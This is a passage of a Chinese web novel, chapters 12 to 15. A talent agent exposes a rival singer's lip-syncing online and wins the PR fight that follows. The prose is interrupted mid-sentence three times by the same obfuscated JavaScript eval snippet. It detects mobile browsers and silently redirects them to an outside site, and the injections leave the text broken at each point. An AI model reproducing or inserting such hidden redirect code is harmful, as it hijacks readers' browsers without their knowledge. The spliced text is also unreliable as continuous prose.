【没关系。如你所见,我并不是什么好人,也不需要任何人盼我的好】
大概是化妆间里发生的什么事戳到了陆虞渊的雷点导致他暴走了吧,芮槐宁如是想到。
大合唱录制还没开始,芮槐宁手机刷到一半又接到一个电话,是跟着冉凌天去了江南卫视的连恒打来的。
她连忙从台侧转到了后台走廊内,电话刚接起来那边就语速很快地说道:“槐宁,我们这边遇到点麻烦,李铭祁在故意给小天使绊子,他们这个节目已经重录了两次了。”
李铭祁是两年前从其羽传媒离开的,原因是他同时和两个女生有地下恋情还被狗仔拍到爆了出去,当时闹得满城风雨,李铭祁就和过街老鼠一样人人喊打,芮槐宁便顺势以他价值降低为由提出了解约。
当然,这只是表面上的实情。
本来这家伙已经糊穿地心了,但今年不知道傍上了哪个大佬又东山再起了,还上了江南台的跨年晚会。
芮槐宁靠在墙上,一边听连恒讲话一边想:难道是自己和林晴之前的操作终于被李铭祁发现了么?
12. 第 12 章
电话那头的艺人总监连恒还在解释着具体情况:
“这首《天涯》小天和李铭祁虽然是合唱,但其实李铭祁是对口型,只有小天是真唱,李铭祁现在不是走位错就是口型没对上,我感觉这家伙是故意的。”
连恒的话越发证实了芮槐宁刚才的猜测,她有些头痛,早知如此当初就不该接下江南台这个通告,就算接了也应该尽力协调让冉凌天避开李铭祁的。
其实当初李铭祁的丑闻彻底曝光之前公司就接到了某著名狗仔的暗示,说是如果肯出钱那么这件事还有回旋的余地。
李铭祁知道以后第一时间冲到了总裁办公室里,差点当场给芮槐宁跪下,而芮槐宁也答应了他会想办法帮忙把这个黑料压下去,当然,钱还是要他自己出的。
不过后续的事情现在想想还是很好笑,李铭祁抠抠搜搜地跟狗仔讨价还价,结果把狗仔惹毛了,不仅一步都不肯让,还说是“从来没见过这么像癞蛤蟆的艺人,长得丑玩得花,没骨气又小气”。
最后李铭祁还是东拼西凑交齐了这份买命财,狗仔怒赚一笔潇洒离场。
但出人意料的是这件事却并没有结束,三天后“娱乐圈李姓渣男一脚踏两船”的重磅新闻冲上各大平台热搜榜第一位,李铭祁从此以后彻底断送了自己的路人缘,时至今日在广大人民群众眼里也不过是一个“不知道背后什么势力”的“强捧之耻”。
芮槐宁倒不认为以李铭祁的头脑能在如今一切都已尘埃落定之后再反应过来先前究竟发生了什么,但保不齐他背后的新靠山是个有人脉的呢?
如果是这样的话,那冉凌天这遭就全是被自己连累所致,算得上是无妄之灾了。
“冉凌天现在怎么样?”她问道。
录制现场的连恒转头看了一眼舞台的方向:“还行,虽然脸色不好但已经很配合了。他们要准备录第四遍了,导演正在给李铭祁调整状态呢。”
啧……芮槐宁听到这种回答并不是很开心:“你让他过来接电话。”
一分钟之后那头传来了冉凌天的声音:“喂?槐宁?”
这个称呼放到从前是一定要被芮槐宁纠正的,但现在事态紧急也顾不上了。
短短三个字里冉凌天的嗓音已经隐隐带着疲惫,芮槐宁听罢更加不高兴,于是也很直截了当地:“你就跟李铭祁正面刚呀,这么惯着他是图他年纪大还是图他不洗澡啊?”
电话那边的冉凌天似乎是笑了,然后又道:“你放心吧,我有分寸的。”
他说完这句之后导演就开始喊“艺人和工作人员就位”,再然后就是连恒接过了电话,她并不知道芮槐宁给冉凌天的指示是“正面刚”,只急匆匆地说了句“暂且先这样吧,有新情况再联系”就挂断了电话。
芮槐宁还是不太放心,但是转念一想,冉凌天一个实打实的天之骄子,以前也并不是什么好脾气的软柿子,应该不至于就这么被人欺负了去,故而也就暂时作罢了。
离湘水台这边大合唱录制开始还很有些时间,芮槐宁在后台走廊上闲着没事干又回了化妆间,好巧不巧遇到了刚刚补完妆的陆虞渊。
化妆师、造型师还有几个工作人员都还在,简思薇也在,她看到芮槐宁的时候一脸的亲热:
“芮姐快来坐!跨年晚会真有意思呀,我刚刚还在现场听到齐悦婵唱歌了,人家那才叫专业的,高音‘咻’地一下就飚上去了,眼睛都不带眨的……”
小姑娘不知道江湖险恶,还以为晚会录制就是大家热热闹闹地嗨一场,此刻正说得眉飞色舞地,芮槐宁听着听着便也放松地笑了。
陆虞渊也是一副无事发生的样子,仿佛刚才在化妆间里莫名其妙找茬然后又发消息说“对不起”的那个人不是他一样。
他觑了个空招呼在场的一堆女生点奶茶和小蛋糕,挨个问口味说是要请客。
请客倒还在其次,关键是他态度好又热心,这么个大帅哥一脸认真地问你“喜欢甜一点还是淡一点?”、“奶油吃不吃?”,换了哪个女孩子都要忍不住小鹿乱撞的。
轮到芮槐宁的时候她刚要开口说“不了”,不料却被陆虞渊抢了先:“三分糖的茉莉奶绿,珍珠换成布丁,再来一小块低糖的伯爵红茶磅蛋糕,如何?”
他琥珀色的眼睛看过来,芮槐宁顿了一下,化妆间里剩下几个人都望向这边,现场气氛突然就变得无法拒绝起来。
最后她轻轻地点了点头,陆虞渊那双灵动的眼睛里便带了点笑意:“那我就下单了。”
陆虞渊去了下一个人那边,简思薇重新靠过来,在芮槐宁耳朵边小声地问:“小陆哥还挺了解你的口味的哦?”
的确,芮槐宁对甜食的最高评价就是“不是很甜”,对奶茶的态度也类似,且非常沉迷各种红茶以及绿茶味的东西。不过陆虞渊是什么时候发现的呢?
芮槐宁淡淡地瞥了一眼自己的助理杨萌,然后回了简思薇一句:“可能是小萌和他说过吧。”
无端被点名且根本没和陆虞渊有过任何相关交流的小萌:?
不一会儿外卖就送到了,芮槐宁一边吸着奶绿一边看陆虞渊忙前忙后地给大家分东西的背影,心情莫名地变好了不少。
不过这个世界上显然不是所有人都像陆虞渊这么会讨喜,芮槐宁刚尝了一口湿润蓬松的红茶蛋糕,手边的电话就响了起来。
她走到边上按下通话键,连恒的声音很快传来:“我觉得这个事情不简单,李铭祁今天恐怕是有心找我们的麻烦,你得有个心理准备。”
芮槐宁迅速地在大脑中盘算着,一边又听连恒说道:
“刚才他们这个节目又重录了两遍还是没过,导致后头的所有环节都卡死了根本推不下去,所以导演组紧急调整了录制顺序把后面的节目先提上来了,现在还不知道要怎么办。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903746|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这下芮槐宁便觉得有些奇怪了,干脆离开化妆间找了个没人的角落:“你们就这么陪着他一遍遍重录吗?我不是已经告诉冉凌天不要惯着李铭祁了吗?直接骂他啊!”
连恒显然没想到她提供了一个这么强硬的策略,在电话那头沉默了一会儿复又开口:“但小天的脾气好像是比小时候好了不少,今天没见他发火来着。”
“这样吧恒姐,”芮槐宁打定了主意,“既然你都知道这事儿不简单了,那就还是按我说的来。今天幸好是你跟录制,你先去跟导演组商量,把他们的节目挪到最后去录好吗?”
“没问题,江南台负责跨晚的这帮人我还算熟。”到了这个节骨眼上连恒的声音听起来依旧很镇定,“我先去沟通看看,后续有什么方案随时联系。”
挂断了这个电话以后芮槐宁又拨通了宣传总监林晴的号码:“晴姐,李铭祁的事情怕是东窗事发了……”
当年的事情说起来也没有很复杂。李铭祁的执行经纪最先发现他同时和两个女生搞地下恋并第一时间告诉了芮槐宁,而芮槐宁立即决定跟全公司胆子最大的林晴合作,找了个非著名狗仔去跟拍。
但没想到拍到这条爆炸新闻的狗仔竟然不止一家,于是芮槐宁顺水推舟假意答应李铭祁帮忙处理著名狗仔,坑了他一大笔钱之后又放任自己找的没什么名气的那家爆出了这一猛料。
最后李铭祁也只能怪自己运气不好,按下葫芦浮起瓢咯。
那头林晴听到“东窗事发”四个字的反应却是“噗嗤”一笑:“我做面膜呢,你别逗我。”
“没开玩笑。冉凌天今天跟他合唱《天涯》你知道的吧?这是首大歌,本来就很耗费情绪很不好唱,结果李铭祁连对个嘴型都要出幺蛾子……”
芮槐宁把事情简单讲了讲,末了道一句:“他冲着我来也就算了,但是去折腾冉凌天是不是有点过分了?搞得我现在很想收拾他。”
林晴却八卦得很:“哟哟哟,他折腾小天你心疼了?”
芮槐宁却没正面回答:“大家从前都很辛苦,为了资源,为了向上爬,为了给公司赚钱不得不低头……我只是希望他们从现在开始别再受这种气了。”
这个回答出乎了林晴的意料,于是她放弃了继续深挖八卦故事,转而正色道:
“就算现在李铭祁回过味儿来了也没关系,我们能收拾他第一次就能收拾他第二次。说说吧,你这次想怎么做?”
不愧是林晴,芮槐宁就喜欢她这种不怕事的态度。俩人如此这般地商讨了一番之后芮槐宁才回了化妆间。
她坐在沙发上悠悠地用自己的大号发送了一条微博,然后把手机丢到一边专心地品尝蛋糕去了。
等到工作人员通知合唱节目准备录制的时候大家的茶点也刚好吃得差不多了,芮槐宁咽下最后一口茶香浓郁的奶绿,起身和两个艺人一起往舞台的方向走去。
13. 第 13 章
几个人一道往后台走,简思薇总觉得身边的芮槐宁状态不太正常,脸上似乎带了一抹诡异的微笑。
她不敢直接问只能戳了戳陆虞渊,陆虞渊看了小姑娘一眼,又在她的示意下看向芮槐宁,然后微一点头。
上台之前陆虞渊伸出手在芮槐宁眼前晃了晃:
“诶,回回神好吗?刚才在化妆间里我就想说了,你是来跟我……和简思薇录制的,结果一会儿消失一会儿神游天外的,身在曹营心在汉不太好吧?”
完全没往这个方面想的简思薇:?
芮槐宁笑了笑,干脆把手机屏幕解锁举到了他们面前:“我现在可是开了飞行模式绝对免打扰的哦,保证一会儿专心致志看你们表演。”
陆虞渊似乎没想到她会这么做,顿了一下之后点了点头:“……行吧,你心里有我们就好。”
湘水台的大合唱节目开始录制,芮槐宁真的老老实实看起了表演,先前扔出去的炸弹甩手就不管了,微博上此时此刻却是一片沸反盈天。
词条#铭祁弟弟今年也假唱了吗#就这么明晃晃地挂在文娱热搜榜第一位,点进去置顶就是芮槐宁那条微博:
nzz芮槐宁
铭祁弟弟今年也假唱了吗?@演员李铭祁
评论区也是相当精彩,热评第一条就是:“嚯!年终最后一大瓜!”
顺着往下翻还能看到各路带粉籍的吃瓜群众和纯纯看戏的路人:
“李铭祁怎么还在假唱啊,他不是早就被脚踩两条船那件事抬走了吗?”
“不知道傍上了哪路势力现在又抬回来啦[白眼]”
“据说江南台跨晚冉凌天跟李铭祁合唱?是因为这个芮槐宁才跳出来的吗?”
“无所谓,反正我们小天会真唱的”
“我就想知道李铭祁到底假唱过多少次[吃瓜][吃瓜]”
“我真的服了芮槐宁,她以前不这样吧?作为经纪人能不能低调点,要不是陆虞渊还在她手上真不想给这人一点眼神”
当然,也有部分不知道是李铭祁水军还是真粉丝的人在试图控评:
“芮大妈又出来胡说了?这么爱蹦跶不如你自己出道算了”
“真的是造谣一张嘴,我们家祁祁什么时候假唱过?早就都澄清了好吗”
“你是说当红演员李铭祁吗?可不能只说当红演员李铭祁哦,你还要说选秀出道唯一断层大C李铭祁,个人专辑销量三平台登顶全能歌手李铭祁,唱演综艺六边形战士李铭祁,爆剧小天才李铭祁[笔心]”
……
“哎,还是有人支持我的。”江南卫视跨晚后台,李铭祁一边喃喃自语一边用小号给几条为他说话的评论挨个点了赞。
但就这么零星几条十多页往后才能翻到的正面评论显然并不能打消他心头的火气,他再度点开微信置顶的聊天界面发送语音:
“干爹,我们的水军到位了没啊?你一定不能放过芮槐宁,这女人就是蛇蝎心肠!”
说到“蛇蝎心肠”这几个字的时候李铭祁几乎有些咬牙切齿了。
想当初他花了大把的钞票顶着狗仔难听的话去公关,没想到换来的却是热搜第一位洗都不知道怎么洗的石锤黑料。
他也曾经信了芮槐宁的鬼话以为是自己倒霉,公关了一家却没注意到还有另一家,直到他新认的干爹告诉他,爆料方本来就是芮槐宁找的人。
可恶啊,太可恶了,不把她狠揍一顿怎么能让他消气?如今他不过是给她公司里的小歌手随便使了点绊子她就要这么整他?天理何在啊!
录制后台各色人员来来往往地,路过李铭祁的时候都有意无意地往他这个方向看。他一边捏紧了拳头一边憋红了脸,一转头正好看到冉凌天出现。
“臭小子!”李铭祁正气得上头,干脆直接冲了过去试图抓住对方的衣领,周围人都惊呼起来。
冉凌天一抬胳膊就挡掉了李铭祁伸过来的手,李铭祁一下不成又往前扑,冉凌天见这货还不死心干脆反剪了他的双手把他按到了墙上:“你发什么神经?”
旁边已经有人对着他们举起了手机,李铭祁一边叫着“放开老子”一边拼命挣扎,没想到冉凌天力气比他大得多,他挣扎了半天还是纹丝不动,越丢人越觉得心头火烧得更旺了,直接大吼一句:
“芮槐宁那个疯女人干了什么你不知道吗?”
冉凌天听到这句话才实打实地愣了一下,他还没拿到手机,确实不知道芮槐宁做了什么。
这一嗓子吼完,闻讯赶来的围观群众更多了,众目睽睽之下李铭祁也不得不压低了声音,用只有他们两个人能听到的声音道:
“第一次重录的时候我就说过了,你今天让我玩儿高兴了我就放过芮槐宁跟你。但是现在,不可能了!”
冉凌天听罢二话不说拖着李铭祁就往自己的化妆间走,围观群众被他冷得像冰雕一样的脸吓到,都默默地自动让出路来。
进去之后冉凌天把所有尾随而来看热闹的人都关在了门外,然后放开李铭祁,照着他的肚子来了一拳:
“这是回敬你刚才对芮槐宁出言不逊的。”
李铭祁吃痛捂住了自己的小腹,冉凌天依旧居高临下地看着他:“手机。”
“什、什么?”李铭祁已经知道自己打不过冉凌天,根本连还手的心思都不敢有。
“你的手机给我。”冉凌天语气颇为不奈地重复了一次。
李铭祁抖抖嗦嗦地从裤兜里掏出手机解锁以后递了过去。他已经被冉凌天一拳打懵了,根本不明白为什么之前乖顺的小绵羊一转脸就变成了会吃人的恶狼。
明明他对冉凌天说要“玩儿他”的时候,冉凌天也只是点了一下头而已啊?
那边冉凌天很快用李铭祁的小号翻完了微博,只见黑色的手机在空中划出一道弧线落向了地板,而冉凌天已经拉开化妆间的门大步离开了。
***
湘水卫视这头,简思薇和陆虞渊的最后一首歌也录制完毕,俩人下台以后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903747|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芮槐宁拉过简思薇的手,一边说着“辛苦了,表现不错”一边往化妆间去。
走在后面的陆虞渊接过小萌递来的手机,看了没两分钟就皱起了眉头,在化妆间外拦住了芮槐宁。
“小简,你和大家先进去,我找你们芮姐有点事情。”说完他就拉走了芮槐宁。
消防通道里,芮槐宁从陆虞渊的魔爪下拯救出了自己的手腕子,一边揉着一边说:“给你三秒钟道歉。”
“对不起。”陆虞渊道歉只用了一秒,紧接着他就拿出手机点开热搜词条#铭祁弟弟今年也假唱了吗#举到了芮槐宁跟前,“这就是你开飞行模式的原因?”
芮槐宁看了看词条里的热门微博,还伸出手指往下划了几次。
现在除了她自己的置顶微博以外,热门大部分都已经被营销号占领,发着各色给李铭祁假唱洗白的通稿,里面甚至有针对两年前他“脚踩两条船”事件的虚假澄清。
看完以后芮槐宁摊了摊手:“现在这个世界就是这样,黑的都能洗成白的。但是别担心,你也看看评论嘛。”
陆虞渊随便点开一条营销号发的虚假澄清,发现评论区确实全面翻车了,好多人都在说“不信”,还有人带了原先那个石锤爆料视频的链接。
陆虞渊抬起头来:“林晴这回把水军下到评论区了?”
“营销号通稿贵嘛,才第一回合没必要。而且也不全是买的,群众的眼睛毕竟还是雪亮的。”芮槐宁一副笑眯眯的样子。
陆虞渊的脸色却没有比刚才好多少:
“你知道我想说的不单是这个热搜。你能对付李铭祁甚至对付他背后的人,我信。但是江南卫视怎么办?你有没有想过你把电视台跨晚假唱的底裤扒了会有什么样的后果?”
芮槐宁依然保持着微笑的表情:“不知道啊。你扔炸弹会在乎废墟的形状吗?真女人从不回头看爆炸。”
“你!”陆虞渊被她气得一时语塞,刚要开口他的手机又响了起来。他看了一眼来电显示“冉凌天”,直接把电话递给了芮槐宁:“找你的。”
芮槐宁一边接过一边抱怨了一句:“都开飞行模式了怎么也不免打扰啊……”
“喂?”
她刚说了一个字电话那头就传来冉凌天的怒吼:“芮槐宁你是不是疯了?”
她连忙把手机拿远了些,顺便瞪了旁边憋笑的陆虞渊一眼,然后才道:“哎哟哟,年轻人火气不要那么大嘛……”
但是冉凌天很快打断了她的话:“我都说了我有分寸的,你干嘛非要上赶着自找麻烦呢?”
这句话刚说出口他就后悔了,说芮槐宁是“自找麻烦”未免太伤人心,但他也的确是因为一连给她打了好几个电话都找不到人才又急又气。
果然,芮槐宁的语气也冷了几分:“我是相信你才让你自己处理的啊,结果就是你们依然在不停地陪着人家重录,给人家耍得团团转不是吗?”
电话那头的冉凌天叹了口气:“你就不想想为什么吗?”
14. 第 14 章
“我怎么知道为什么?”芮槐宁声音虽然不大却一点没了刚才戏谑的味道,
“你的分寸就是一让再让给人家欺负到头上都不吭声是吗?你小时候不是挺叛逆的吗?你的脾气呢?以你的身份你的背景你需要怕他吗?人长大了就会变怂是吗?”
化妆间里的冉凌天深吸了一口气,尽力控制着自己保持冷静、降低音量:“过了今天我有一百种办法让李铭祁吃不了兜着走,你为什么非要出这个头把自己也拖下水呢?”
这话一出芮槐宁顿住了,她想了想该怎么组织语言:“有没有一种可能,本来就是我把你拖下水的……”
她有意无意地看了一眼陆虞渊,又对着电话那头道:“我真的不是什么好人,遇事一定优先考虑自己的。”
但是冉凌天似乎并没有被她的说辞影响:“可我看不出你这么正面跟他刚对你能有什么好处。”
确实,从长远来看芮槐宁这么做带来的全是麻烦,可她从要回家的那一刻起就已经下定了决心再也不低头,所以要她忍李铭祁,不可能。
电话那头冉凌天又叹了口气:“不过反正已经这样了,你想怎么造随你的便吧。希望你记住刚才说的话,遇事一定优先考虑自己。
“顺便,我刚才把李铭祁打了,这段时间我先让两个保镖跟着你出门,这样安全一点。”
“你这人真是……”芮槐宁只觉得好笑又无语,“说你脾气变好了吧你竟然还直接动手了,你还不如骂他呢,我真服了。”
万一李铭祁发癫去医院出个验伤报告什么的,舆情就不好处理了。芮槐宁一边这么想着一边道:
“就这样吧冉大少爷,我得先挂了,你揍人的事情我还要跟你晴姐知会一声呢。”
把手机还给陆虞渊以后芮槐宁终于关闭了飞行模式,接着第一时间给林晴打了个电话。
林晴的声音听起来倒是很兴奋:
“不愧是我们小天啊!我就说嘛,他什么时候变得这么好欺负了?现在看来还行,没被什么异世界的胆小鬼魂穿。”
真·异世界来客·芮槐宁连忙“哈哈”两声转移了话题:“那咱们准备发起第二回合?”
“得嘞!”林晴愉快地领命而去。
陆虞渊一直在边上站着看戏,芮槐宁把手机调成静音,然后才偏头问他:“看够了?还不回化妆间收拾东西?想不想下班了还?”
陆虞渊却略过了她的所有问题,甚至反过来问了她一句:“你就不想想为什么吗?”
这是刚才冉凌天问她的话,芮槐宁那个时候忙着怼他没顾上,现在再被陆虞渊这么一提,这个问题突然就变得意味深长起来。
她摸了摸下巴:“为什么呢?”
陆虞渊笑了一声,仿佛这个问题很无厘头似的:“芮槐宁,你有时候真的没有心。”
扔下这么一句他就转身回化妆间去了。
芮槐宁站在原地想了一分钟没想明白,干脆也放弃思考跟着回了化妆间,一边收拾东西一边抽空点开了微博热搜。
之前的词条里面出现了好多新的营销号,且都在发李铭祁前几年晚会假唱对嘴型的视频,时间点都是他进其羽传媒之前的。
有热心观众看完以后拉了条时间线:
“不看不知道一看吓一跳,李渣男还真是年年上跨晚,次次都假唱[图片][图片]”
这条微博也很快上了热门,评论第一条表示:“只有在其羽传媒那年没假唱诶”
底下又有回复:“笑得,我记得当年李铭祁粉丝是不是还因为这件事撕过经纪人来着?骂其羽传媒是垃圾公司,连以前就有的舞台资源都弄丢了”
“现在看来是芮槐宁不想看假唱帝表演了所以故意没接的吧”
“少来了,芮槐宁自己也不是什么好东西,否则干嘛签这么一坨垃圾进公司?一想到我家冉冉要跟这种人同台我就火大”
芮槐宁看到最后这条的时候内心也毫无波澜,本来嘛,怕挨粉丝骂就别当经纪人了。
不过对面也不是省油的灯,他们发现试图洗白李铭祁失败以后就转换了策略,把“假唱”这个词条拱上了热搜,然后开始拉其他艺人下水,且发出来的假唱视频故意以江南台的各大晚会为主。
回程路上依旧是小萌开车,陆虞渊坐在芮槐宁旁边刷微博,刷着刷着突然冒出一句:“他们好像很怕你嘛。”
不是每个艺人都对舆情操控的手段如此敏感,不过说这话的是陆虞渊那就不奇怪了。芮槐宁一直觉得这厮多智近妖,偏偏还爱装出一副人畜无害的样子,啧啧。
按道理来讲,李铭祁背后的人应该专注于找芮槐宁的麻烦,比如扒她的黑料,诋毁她的形象,给她发律师函,以此降低她说话的可信度。
但是他们却选择了拉无关人士下水这样迂回的方式,其目的就是想将自己跟其他更有势力的角色捆绑到一起,盼望着能够通过这招借刀杀人。
所以陆虞渊说得对,他们确实很怕她。
且芮槐宁还很清楚这是为什么。
这桩拉大旗作虎皮的营生她做了好些年了,一直勤勤恳恳从未懈怠,好不容易才把系统给的垃圾金手指变废为宝,还稳住了自己摇摇欲坠的假千金身份。
如今圈子里有一种流传并不广却无法证伪的说法,说她芮槐宁出身于某豪门世家,父母业已移居美国,而她继承了家中和娱乐圈相关的绝大部分人脉和资源。
虽然上述传闻里没几个字是真的,但是架不住她装得好啊。
芮槐宁淡淡地瞥了陆虞渊一眼:“他们对我有敬畏心那也是我应得的。”
陆虞渊“噗嗤”一声笑了,那双顾盼生辉的眼睛在她脸上来回一扫,像是下一秒就会看穿她的假面。
直到一行人抵达酒店他也没再开口,众人各自回房,他和芮槐宁一道往走廊尽头的房间走,快到的时候又停下了脚步:“但是江南台却不会怕你。”
仿佛是为了印证他的话,连恒的来电在这个时候响起,芮槐宁接了以后很快得知了一个坏消息:由于她的操作牵扯出了江
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903748|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
南台太多的假唱黑历史,台里的领导不高兴了。
陆虞渊一直笑笑地倚在走廊上,好像能猜到连恒的话似的。
但芮槐宁偏偏不露怯,而是很理所当然地同连恒讲:“是他们自己要助纣为虐的,现在反倒要来生我的气吗?好不讲道理。”
连恒很少得见她处事如此生硬,愣了一下之后才道:“可是现在哪个电视台不是如此呢?隔壁泡菜国偶像市场那么繁荣,他们舞台上不也一样在假唱吗?”
“恒姐,你是非要逼我说那句很俗的话呀。”芮槐宁好像很无奈一样地,“一向如此便是对的吗?”
那头的连恒不说话了,边上站着的陆虞渊脸上也不见了刚才笑嘻嘻的样子。
“那你想怎么办?”电话里的连恒和电话外的陆虞渊同时问她。
芮槐宁微微一笑,声音轻飘飘的:“当然是,把所有该死的都炸死啊。”
她没有再和陆虞渊杵在房间外面废话,而是关上门以后立即安排林晴又下了一波通稿,让各路营销号应发尽发,把之前所有热爱假唱的艺人的视频证据都丢到了网上。
林晴给全世界落井下石下得不亦乐乎,但是看到主角是奚檐的假唱视频时还是愣了一下,不太确定地给芮槐宁发了条消息:
【你这疯丫头已经打算连奚檐都不放过了吗?】
芮槐宁的回复莫得一点感情:【舍不得孩子套不着狼。他又不是主观过失,对嘴也是中心台要求的嘛】
事实证明芮槐宁这个安排是很有道理的,网上的舆情逐渐从到处吃瓜转为了批判李铭祁丧心病狂:
“拉这么多人下水也洗不白你李渣男脚踏两条船的事实”
“爆这么多人的料不会是为了分散火力吧?”
“程湾没惹任何人,她一个演员假唱只是配合电视台要求而已望周知”
“李铭祁你是真的疯了吧?奚檐的瓷你也敢碰?想拉影帝给你挡枪也不看看自己有没有那么硬的命!”
……
正是因为通稿里把其羽传媒的台柱子奚檐也带上了,广大群众自然而然地就认为这些到处叭叭说谁谁谁也假唱的营销号全都是李铭祁买的。
毕竟其羽传媒再疯也不能连自己人都咬吧?
这一回合的舆论战李铭祁再次败下阵来,他此时正坐在化妆间里拼命薅自己的头发,经纪人陈哥被关在外面“砰砰砰”地敲门:
“张总都说了让你这回老老实实地赶紧真唱完拉倒,到时候跨年晚会一播这谣言不就不攻自破了吗?”
“我凭什么给她低头啊?”李铭祁隔着门吼得很大声,“现在网上全是骂我的人,这就是你们公关团队的工作能力?我要去干爹面前告你们!让他把你们都辞了!”
经纪人在外面翻了个大大的白眼,在心里暗骂李铭祁就是个色厉内荏的废物:
“张总早就说了让你不要去招那个女人,她在圈子里背景很深的!你这回自作主张惹恼了她张总已经很不高兴了,要是还不听话那我们也保不了你了!”
15. 第 15 章
化妆间的门被李铭祁一把拉开,他表情极为难看地从里面走了出来:“你们都是骗子。”
芮槐宁是骗子,骗他说会帮他把黑料压下去;张总也是骗子,骗他说跟了他就能翻红,把以前的所有仇人都踩在脚下。
可他就是这么怂的一个人,既不敢和芮槐宁硬刚,也不敢不听张总这位“干爹”的话。
《天涯》的不知道第几遍重录终于开始,休息了几个小时以后冉凌天的嗓音也恢复了正常水平,开头第一句就唱得极好,那种大开大合的江湖豪情一下子就表现出来了。
但是紧接着上台的李铭祁却实在拉垮,虽然这次他并没有再故意犯任何低级错误,但是不管气势上还是唱功上他都差了冉凌天一大截,有珠玉在前更是被衬得宛如尘泥。
总导演眉头紧皱正准备叫停,肩膀却被人轻轻地拍了一下,他转头一瞧,来人正是其羽传媒的艺人总监连恒。
“梁导今天也够辛苦的了,您看看全场的灯光、摄像、导播乃至台下的观众,哪个不是一脸的疲惫?不用让所有人陪着李老师再折腾一次了吧?”
“我理解您对自己工作认真负责的态度,但是……”连恒有意翻了翻热搜,“人家的心思和努力早都下到别处去了,如今也不能在舞台上现练唱功吧?就算您给他再多机会,他的实力也不足以支撑他唱好啊。”
说实话假唱被爆这件事,江南台负责跨晚的主要人员包括梁导,心里对其羽传媒都是有怨气的。
可谁知后面情况越来越失控,李铭祁不仅要拉着江南台一块儿完蛋,还要让整个娱乐圈也一起陪葬,涉及各大电视台和各类晚会的假唱通稿层出不穷,江南台在爆料里的浓度一下子就下去了。
反正现在哪个台都不干净了,他们也就不着急了。
“你们芮总这次真是……”梁导看了一眼连恒,语气不算太好,“有什么话不能好好说呢?她觉得李铭祁做得不对可以先跟我们沟通嘛。”
“是是是,梁导说得对。”连恒摆出一副虚心受教的样子,梁导心里的怨气因此又消减了一些。
“就这样吧。”他说完这句便不再多言,而是转头看向了舞台。
这样一来连恒便知道,李铭祁唱成什么样这位总导演都不会再管了。
《天涯》的第一遍真唱录制也成了最后一遍,冉凌天越唱气势越磅礴,李铭祁越唱表情越心虚,到了结束的时候全场都在热烈地鼓掌,但是大家心里也都明白这掌声是只给冉凌天一个人的。
回酒店的路上连恒特地跟冉凌天聊了聊,知道了前因后果以后她感叹地拍了拍对方的背:“我们小天确实是长大了。”
***
这一场关于假唱的吃瓜盛宴热热闹闹地摆了三天的流水席,牵涉其中的李铭祁,冉凌天,芮槐宁乃至奚檐都快成了热搜常驻人员。
处于风暴中心的其羽传媒总裁办公室里却是无事发生一般的宁静。
连恒跟芮槐宁坐在沙发上,一人手里端着一杯咖啡。
“这件事对公司的负面影响没有那么快消失的,毕竟发令枪是你打响的,各个电视台和被爆料的艺人都记着你呢。”
话是这么说,但连恒的表情还算放松,“不过呢,说实话情况比我想象得要好些,感觉大家都在秉持着‘法不责众’的信念当鸵鸟。”
芮槐宁听罢就笑了:“只要把头埋进沙里就能假装危险不存在了,这何尝不是一种处世哲学呢?”
连恒也笑,笑完又倾身看她:“小天当时为什么没有选择硬刚,你是真的不知道吗?”
芮槐宁摇了摇头。
连恒放下了咖啡杯:“看来他没和你说李铭祁威胁他的事情。”
芮槐宁很快看向了她,表情很惊讶的样子,连恒于是继续道:
“李铭祁具体说了什么我不清楚,但他好像是做了个承诺,如果小天咽下这口气任他折腾一整天,他就放过小天,也放过你。”
最后四个字连恒故意放慢了语速,说完之后又补了一句:“我不知道你究竟是怎么得罪的李铭祁,但我知道小天是真的长大了。”
像冉凌天这样横冲直撞惯了的大少爷竟然也有为了保护某个人而低头的一天,连恒想想都觉得不可思议。
“你的意思是,冉凌天这么做都是为了我?”芮槐宁好像懂了又好像没懂,“但是李铭祁那种货色也不能把我怎么样啊?你看我现在不是还好好的吗?”
连恒听得直摇头:“你怎么还是不明白呢?”
芮槐宁被她说得丈二和尚摸不着头脑,偏偏连恒好像认定了她“朽木不可雕也”,坚决不肯再多解释一个字。
整整一个下午,她时不时地就会想起这件事,以她的智商怎么可能会有不明白的事情呢?这不科学!
很邪门儿地,芮槐宁最终给陆虞渊打了个电话,这家伙那天不是也让她“想想为什么”吗?
“有事?”陆虞渊还在推理综艺的录制现场,吃完晚饭就得回去接着工作。
“也……不算吧。”只要不是工作上的事,芮槐宁一般都默认为无事,“恒姐说冉凌天之前那么做是为了保护我,但我不太理解,她又不愿意给我解释,我只好来问你了。”
